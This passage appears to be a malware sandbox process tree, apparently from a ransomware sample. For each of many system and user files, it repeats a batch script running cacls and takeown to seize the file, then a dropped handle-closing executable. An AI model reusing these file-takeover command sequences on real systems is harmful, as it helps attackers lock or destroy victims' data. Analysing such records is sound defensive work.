                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp""
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5932
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                      cacls "C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5988
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                        takeown /F "C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp"
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                        PID:5208
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "AcroRdrDCUpd1901020069.msp" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6028
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula "AcroRdrDCUpd1901020069.msp" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:2528
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6124
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6100
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5088
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                  takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5308
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "background.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5468
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula "background.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5124
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5396
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Diagnosis\parse.dat""
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3440
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                          cacls "C:\Users\All Users\Microsoft\Diagnosis\parse.dat" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5748
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                            takeown /F "C:\Users\All Users\Microsoft\Diagnosis\parse.dat"
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:5772
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "parse.dat" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5380
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula "parse.dat" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5612
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5700
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00001.jrs""
                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5940
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00001.jrs" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5824
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00001.jrs"
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5460
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "edbres00001.jrs" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5316
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula "edbres00001.jrs" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6056
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6008
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6036
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5536
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "superbar.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5344
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula "superbar.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5260
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5152
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json""
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4988
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          cacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4992
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            takeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json"
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4424
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "utc.cert.json" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5596
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                K9TOpZud.exe -accepteula "utc.cert.json" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5544
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5836
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat""
                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5616
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    cacls "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5300
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      takeown /F "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5648
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "StorageHealthModel.dat" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6020
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          K9TOpZud.exe -accepteula "StorageHealthModel.dat" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1444
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5848
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5884
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5256
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5348
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "wabmig.exe" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    K9TOpZud.exe -accepteula "wabmig.exe" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "TileCache_100_0_Data.bin" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula "TileCache_100_0_Data.bin" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cacls "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    takeown /F "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "vedatamodel.edb" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula "vedatamodel.edb" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cacls "C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              takeown /F "C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5528
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.jfm""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      cacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.jfm" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        takeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.jfm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "qmgr.jfm" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula "qmgr.jfm" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
